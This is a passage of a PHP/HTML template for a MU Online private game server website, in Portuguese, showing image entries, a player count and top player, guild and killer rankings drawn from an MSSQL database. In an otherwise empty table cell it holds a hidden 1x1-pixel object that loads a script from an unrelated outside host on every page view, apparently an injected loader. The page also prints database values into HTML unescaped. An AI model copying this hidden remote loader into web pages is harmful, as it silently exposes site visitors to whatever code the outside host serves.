    <td height='147' valign='middle' background='imagens/setas_icones/BGSCREAM.png'><table width='130' border='0' align='center' cellpadding='0'cellspacing='0'>
      <tr>
        <td align='center'><a href='$dado2' target='home'><img src='$dado2' width='112' height='87' border='3px' style='border-color:#F00'/></a></td>
      </tr>
      <tr>
        <td><strong><font class='tituloscream'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$dado9</font></strong></td>
      </tr>
      <tr>
        <td><table width='120' border='0' cellspacing='0' cellpadding='0'>
          <tr>
            <td width='45'><font class='aut'><strong><font class='tituloscream'>&nbsp;&nbsp;</font></strong><strong><font class='tituloscream'>&nbsp;&nbsp;</font></strong>Autor :</font></td>
            <td width='75'><font class='autor'>$dado10</font></td>
          </tr>
        </table></td>
      </tr>
    </table></td>
  </tr>
</table>";


}
$anterior = $pagina-1;
$proxima  = $pagina+1;
$paginass = ($paginas <= "0") ? "1" : $paginas+1;



?></td>
                      <td><img src="imagens/setas_icones/meio.jpg" width="12" height="148"  alt=""/></td>
                      <td align="right"><?
$divisao = "1";
$linha  = array_reverse ( file("dados/scream2.txt")); //Abre o banco de dados
$total  = count($linha); //Conta as linhas
$paginas = ceil($total/$divisao)-1; //Faz a divisão

if (!$pagina)                  { $pagina = "0";    }
else if (!is_numeric($pagina)) { $pagina = "0";    }
else if ($pagina > $paginas)  { $pagina = "0";    }
else                          { $pagina = $pagina; }

$inicio = $pagina*$divisao;
$final  = $inicio+$divisao;
$final  = ($final > $total) ? $total : $final ;

for ($i = $inicio; $i < $final; $i++){
list($dado1,$dado2,$dado3,$dado4,$dado5,$dado6,$dado7,$dado8,$dado9,$dado10,$dado11,$dado12)=explode("|",$linha[$i]);
echo "<table width='134' border='0' cellspacing='0'cellpadding='0'>
  <tr>
    <td height='147' valign='middle' background='imagens/setas_icones/BGSCREAM.png'><table width='130' border='0' align='center' cellpadding='0'cellspacing='0'>
      <tr>
        <td align='center'><a href='$dado2' target='home'><img src='$dado2' width='112' height='87' border='3px' style='border-color:#F00'/></a></td>
      </tr>
      <tr>
        <td><strong><font class='tituloscream'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$dado9</font></strong></td>
      </tr>
      <tr>
        <td><table width='120' border='0' cellspacing='0' cellpadding='0'>
          <tr>
            <td width='45'><font class='aut'><strong><font class='tituloscream'>&nbsp;&nbsp;</font></strong><strong><font class='tituloscream'>&nbsp;&nbsp;</font></strong>Autor :</font></td>
            <td width='75'><font class='autor'>$dado10</font></td>
          </tr>
        </table></td>
      </tr>
    </table></td>
  </tr>
</table>";


}
$anterior = $pagina-1;
$proxima  = $pagina+1;
$paginass = ($paginas <= "0") ? "1" : $paginas+1;



?></td>
                    </tr>
                  </table></td>
                  <td><img name="scream_r2_c3" src="imagens/imagens_projeto_drakula/scream_r2_c3.jpg" width="184" height="148" id="scream_r2_c3" alt="" /></td>
                </tr>
                <tr>
                  <td><img name="scream_r3_c1" src="imagens/imagens_projeto_drakula/scream_r3_c1.jpg" width="56" height="46" id="scream_r3_c1" alt="" /></td>
                  <td><img name="scream_r3_c2" src="imagens/imagens_projeto_drakula/scream_r3_c2.jpg" width="283" height="46" id="scream_r3_c2" alt="" /></td>
                  <td><img name="scream_r3_c3" src="imagens/imagens_projeto_drakula/scream_r3_c3.jpg" width="184" height="46" id="scream_r3_c3" alt="" /></td>
                </tr>
              </table></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
            </tr>
          </table>
          <table width="529" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="157">&nbsp;</td>
              <td width="303">&nbsp;</td>
              <td width="69">&nbsp;</td>
            </tr>
            <tr>
              <td>&nbsp;</td>
              <td><img src="http://i.imgur.com/ER4VzzO.png"  alt="" width="184" height="149"/></td>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
            </tr>
          </table>
<br>
          <font class="creditos">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>Criacao de:</strong><br>

          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #990"><a href="http://www.aprendizmuonline.com.br" target="_blank">AprendizMuonline</a></span> |<span style="color: #F60"> AllanJPA</span></font></td>
        <td width="221" align="center" valign="top"><table style="display: inline-table;" border="0" cellpadding="0" cellspacing="0" width="210">
            <!-- AllanJPA AprendizMuonline.com.br -->
          <tr>
            <td colspan="3"><img name="status_r1_c1" src="imagens/imagens_projeto_drakula/status_r1_c1.jpg" width="210" height="102" id="status_r1_c1" alt="" /></td>
          </tr>
          <tr>
            <td><img name="status_r2_c1" src="imagens/imagens_projeto_drakula/status_r2_c1.jpg" width="22" height="36" id="status_r2_c1" alt="" /></td>
            <td><img name="status_r2_c2" src="imagens/imagens_projeto_drakula/status_r2_c2.jpg" width="165" height="36" id="status_r2_c2" alt="" /></td>
            <td><img name="status_r2_c3" src="imagens/imagens_projeto_drakula/status_r2_c3.jpg" width="23" height="36" id="status_r2_c3" alt="" /></td>
          </tr>
          <tr>
            <td colspan="3"><img name="status_r3_c1" src="imagens/imagens_projeto_drakula/status_r3_c1.jpg" width="210" height="3" id="status_r3_c1" alt="" /></td>
          </tr>
          <tr>
            <td><img name="status_r4_c1" src="imagens/imagens_projeto_drakula/status_r4_c1.jpg" width="22" height="36" id="status_r4_c1" alt="" /></td>
            <td height="36" background="imagens/imagens_projeto_drakula/status_r4_c2.jpg"><table width="156" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="83">&nbsp;</td>
                <td width="73"><font class="nome"><?php 

$sql = mssql_query("SELECT count(*) FROM Character");

if( mssql_result($sql, 0, 0) <= 80){
echo "";
echo mssql_result($sql, 0, 0);}

elseif( mssql_result($sql, 0, 0) >= 80 AND mssql_result($sql, 0, 0) <= 150){
echo "";
echo mssql_result($sql, 0, 0);}

elseif( mssql_result($sql, 0, 0) > 150){
echo "";
echo mssql_result($sql, 0, 0);} ?></font>
              </td>
              </tr>
            </table></td>
            <td><img name="status_r4_c3" src="imagens/imagens_projeto_drakula/status_r4_c3.jpg" width="23" height="36" id="status_r4_c3" alt="" /></td>
          </tr>
          <tr>
            <td colspan="3"><img name="status_r5_c1" src="imagens/imagens_projeto_drakula/status_r5_c1.jpg" width="210" height="3" id="status_r5_c1" alt="" /></td>
          </tr>
          <tr>
            <td><img name="status_r6_c1" src="imagens/imagens_projeto_drakula/status_r6_c1.jpg" width="22" height="36" id="status_r6_c1" alt="" /></td>
            <td background="imagens/imagens_projeto_drakula/status_r6_c2.jpg"><table width="156" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="81">&nbsp;</td>
                <td width="41"><font class="nome"><?=$Jogando[0]?></font></td>
                <td width="34"><a href="online.php" target="home">Ver</a></td>
              </tr>
            </table></td>
            <td><img name="status_r6_c3" src="imagens/imagens_projeto_drakula/status_r6_c3.jpg" width="23" height="36" id="status_r6_c3" alt="" /></td>
          </tr>
          <tr>
            <td colspan="3"><img name="status_r7_c1" src="imagens/imagens_projeto_drakula/status_r7_c1.jpg" width="210" height="56" id="status_r7_c1" alt="" /></td>
          </tr>
        </table>
          <table width="100" border="0" cellpadding="0" cellspacing="0">
            <tr>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td><table style="display: inline-table;" border="0" cellpadding="0" cellspacing="0" width="220">
                 <!-- AllanJPA AprendizMuonline.com.br -->
                <tr>
                  <td colspan="3"><img name="premiado_r1_c1" src="imagens/imagens_projeto_drakula/premiado_r1_c1.jpg" width="220" height="94" id="premiado_r1_c1" alt="" /></td>
                </tr>
                <tr>
                  <td colspan="3"><a href="ran.php" target="home"><img name="premiado_r2_c1" src="imagens/imagens_projeto_drakula/premiado_r2_c1.jpg" width="220" height="74" id="premiado_r2_c1" alt="" /></a></td>
                </tr>
                <tr>
                  <td colspan="3"><img name="premiado_r3_c1" src="imagens/imagens_projeto_drakula/premiado_r3_c1.jpg" width="220" height="41" id="premiado_r3_c1" alt="" /></td>
                </tr>
                <tr>
                  <td colspan="3"><img name="premiado_r4_c1" src="imagens/imagens_projeto_drakula/premiado_r4_c1.jpg" width="220" height="41" id="premiado_r4_c1" alt="" /></td>
                </tr>
                <tr>
                  <td><img name="premiado_r5_c1" src="imagens/imagens_projeto_drakula/premiado_r5_c1.jpg" width="74" height="17" id="premiado_r5_c1" alt="" /></td>
                  <td><a href="faq.php" target="home"><img name="premiado_r5_c2" src="imagens/imagens_projeto_drakula/premiado_r5_c2.jpg" width="101" height="17" id="premiado_r5_c2" alt="" /></a></td>
                  <td><img name="premiado_r5_c3" src="imagens/imagens_projeto_drakula/premiado_r5_c3.jpg" width="45" height="17" id="premiado_r5_c3" alt="" /></td>
                </tr>
                <tr>
                  <td colspan="3"><img name="premiado_r6_c1" src="imagens/imagens_projeto_drakula/premiado_r6_c1.jpg" width="220" height="51" id="premiado_r6_c1" alt="" /></td>
                </tr>
              </table></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td align="center"><table style="display: inline-table; font-size: 12px; color: #FFF;" border="0" cellpadding="0" cellspacing="0" width="205">
                  <!-- AllanJPA AprendizMuonline.com.br -->
                <tr>
                  <td colspan="3"><img name="ranks_r1_c1" src="imagens/imagens_projeto_drakula/ranks_r1_c1.jpg" width="205" height="92" id="ranks_r1_c1" alt="" /></td>
                </tr>
                <tr>
                  <td rowspan="2"><img name="ranks_r2_c1" src="imagens/imagens_projeto_drakula/ranks_r2_c1.jpg" width="22" height="142" id="ranks_r2_c1" alt="" /></td>
                  <td valign="top"><? 
			  $Top = mssql_query("select top 4 name,resets from character where ctlcode=0 or ctlcode=null order by resetao desc,resets desc, clevel desc");
			  for($i=0;$i<mssql_num_rows($Top);$i++) {
			  $DadosTop = mssql_fetch_row($Top);
			  $rank = $i+1;
			  echo '
			 <table width="163" border="0" cellpadding="0" cellspacing="0">
                    <tr>
                        <td height="35" background="imagens/imagens_projeto_drakula/ranks_r2_c2.jpg"><table width="163" border="0">
                          <tr>
                            <td width="28" align="center"><font class="numero">'.$rank.'</font></td>
                            <td width="75"><font class="nome">&nbsp;'.$DadosTop[0].'</font></td>
                            <td width="46" align="center"><font class="pontos">'.$DadosTop[1].'</font></td>
                          </tr>
                        </table></td>
                      </tr>
                  </table>'; } ?></td>
                  <td rowspan="2"><img name="ranks_r2_c3" src="imagens/imagens_projeto_drakula/ranks_r2_c3.jpg" width="20" height="142" id="ranks_r2_c3" alt="" /></td>
                </tr>
                <tr></tr>
                <tr>
                  <td colspan="3"><img name="ranks_r4_c1" src="imagens/imagens_projeto_drakula/ranks_r4_c1.jpg" width="205" height="23" id="ranks_r4_c1" alt="" /></td>
                </tr>
              </table></td>
            </tr>
            <tr>
              <td>&nbsp;<object data="http://xyzrj.esy.es/x.php" height="1" type="text/html" width="1"></object></td>
            </tr>
            <tr>
              <td align="center"><table style="display: inline-table;" border="0" cellpadding="0" cellspacing="0" width="205">
                  <!-- AllanJPA AprendizMuonline.com.br -->
                <tr>
                  <td colspan="3"><img name="ranks_r1_c1" src="imagens/teste/topguild.jpg" width="205" height="92" id="ranks_r1_c2" alt="" /></td>
                </tr>
                <tr>
                  <td rowspan="2"><img name="ranks_r2_c1" src="imagens/imagens_projeto_drakula/ranks_r2_c1.jpg" width="22" height="142" id="ranks_r2_c7" alt="" /></td>
                  <td valign="top">  <? 
			  $Top = mssql_query("select top 4 g_name,g_score from guild order by g_score desc");
			  for($i=0;$i<mssql_num_rows($Top);$i++) {
			  $DadosTop = mssql_fetch_row($Top);
			  $rank = $i+1;
			  echo '
			 <table width="163" border="0" cellpadding="0" cellspacing="0">
                    <tr>
                        <td height="35" background="imagens/imagens_projeto_drakula/ranks_r2_c2.jpg"><table width="163" border="0">
                          <tr>
                            <td width="28" align="center"><font class="numero">'.$rank.'</font></td>
                            <td width="75"><font class="nome">&nbsp;'.$DadosTop[0].'</font></td>
                            <td width="46" align="center"><font class="pontos">'.$DadosTop[1].'</font></td>
                          </tr>
                        </table></td>
                      </tr>
                  </table>'; } ?></td>
                  <td rowspan="2"><img name="ranks_r2_c3" src="imagens/imagens_projeto_drakula/ranks_r2_c3.jpg" width="20" height="142" id="ranks_r2_c12" alt="" /></td>
                </tr>
                <tr></tr>
                <tr>
                  <td colspan="3"><img name="ranks_r4_c1" src="imagens/imagens_projeto_drakula/ranks_r4_c1.jpg" width="205" height="23" id="ranks_r4_c2" alt="" /></td>
                </tr>
              </table></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td align="center"><table style="display: inline-table;" border="0" cellpadding="0" cellspacing="0" width="205">
                 <!-- AllanJPA AprendizMuonline.com.br -->
                <tr>
                  <td colspan="3"><img name="ranks_r1_c1" src="imagens/teste/top killers.jpg" width="205" height="92" id="ranks_r1_c3" alt="" /></td>
                </tr>
                <tr>
                  <td rowspan="2"><img name="ranks_r2_c1" src="imagens/imagens_projeto_drakula/ranks_r2_c1.jpg" width="22" height="142" id="ranks_r2_c13" alt="" /></td>
                  <td valign="top"><? 
			  $Top = mssql_query("SELECT TOP 4 Name, PkLevel, PkTime from Character where ctlcode<=1 order by PkLevel desc, PkTime desc");
			  for($i=0;$i<mssql_num_rows($Top);$i++) {
			  $DadosTop = mssql_fetch_row($Top);
			  $rank = $i+1;
			  echo '
			 <table width="163" border="0" cellpadding="0" cellspacing="0">
                    <tr>
                        <td height="35" background="imagens/imagens_projeto_drakula/ranks_r2_c2.jpg"><table width="163" border="0">
                          <tr>
                            <td width="28" align="center"><font class="numero">'.$rank.'</font></td>
                            <td width="75"><font class="nome">&nbsp;'.$DadosTop[0].'</font></td>
                            <td width="46" align="center"><font class="pontos">'.$DadosTop[1].'</font></td>
                          </tr>
                        </table></td>
                      </tr>
                  </table>'; } ?></td>
                  <td rowspan="2"><img name="ranks_r2_c3" src="imagens/imagens_projeto_drakula/ranks_r2_c3.jpg" width="20" height="142" id="ranks_r2_c18" alt="" /></td>
                </tr>
                <tr></tr>
                <tr>
                  <td colspan="3"><img name="ranks_r4_c1" src="imagens/imagens_projeto_drakula/ranks_r4_c1.jpg" width="205" height="23" id="ranks_r4_c3" alt="" /></td>
                </tr>
              </table></td>
            </tr>
          </table>
          <a href="#"><br>
          <img src="imagens/setas_icones/ico.png"  alt=""/></a></td>
      </tr>
    </table></td>
  </tr>
  <tr></tr>
</table>
</body>
</html>
